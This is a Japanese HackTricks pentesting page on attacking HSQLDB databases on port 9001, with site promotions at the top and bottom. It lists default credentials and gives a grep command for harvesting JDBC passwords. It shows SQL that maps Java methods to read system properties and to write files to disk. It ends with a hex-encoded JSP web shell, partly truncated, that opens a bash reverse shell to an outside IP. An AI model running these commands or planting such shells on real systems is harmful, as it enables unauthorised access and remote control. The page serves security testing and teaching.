☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# 基本情報
HSQLDB([HyperSQL DataBase](http://hsqldb.org/))は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。これは、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートする、小さくて高速なマルチスレッドおよびトランザクションデータベースエンジンを提供します。
**デフォルトポート:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# 情報
### デフォルト設定
デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。もし見つけた場合、おそらく他のサービスを攻撃し、特権をエスカレーションさせるために探しているでしょう。
デフォルトの資格情報は通常、空のパスワードで`sa`です。
他のサービスを攻撃した場合、可能な資格情報を検索してください。
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
注意してデータベース名を確認してください - 接続するために必要です。
# 情報収集
[HSQLDBをダウンロード](https://sourceforge.net/projects/hsqldb/files/)し、`hsqldb/lib/hsqldb.jar`を展開してDBインスタンスに接続します。GUIアプリ(うわっ)を`java -jar hsqldb.jar`を使用して実行し、発見した/弱い認証情報を使用してインスタンスに接続します。
リモートシステムの場合、接続URLは次のようになります:`jdbc:hsqldb:hsql://ip/DBNAME`。
# テクニック
## Java言語ルーチン
Java言語ルーチンを使用して、HSQLDBからJavaクラスの静的メソッドを呼び出すことができます。ただし、呼び出されるクラスはアプリケーションのクラスパスにある必要があります。
JRTは`関数`または`手続き`になります。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQLステートメントを介して呼び出すことができます。`VALUES`ステートメントを使用して呼び出されます。
Javaメソッドがvoidを返す場合は、`CALL`ステートメントを使用して呼び出す必要があります。
## Javaシステムプロパティの読み取り
関数を作成します:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
実行関数:
```text
VALUES(getsystemproperty('user.name'))
```
[ここ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)でシステムプロパティのリストを見つけることができます。
## ファイルへのコンテンツの書き込み
JDKにある`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename`というJavaガジェットを使用して、カスタム手順を介してヘックスエンコードされたアイテムをディスクに書き込むことができます。ただし、最大サイズは1024バイトです。
手順の作成:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
手順の実行:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。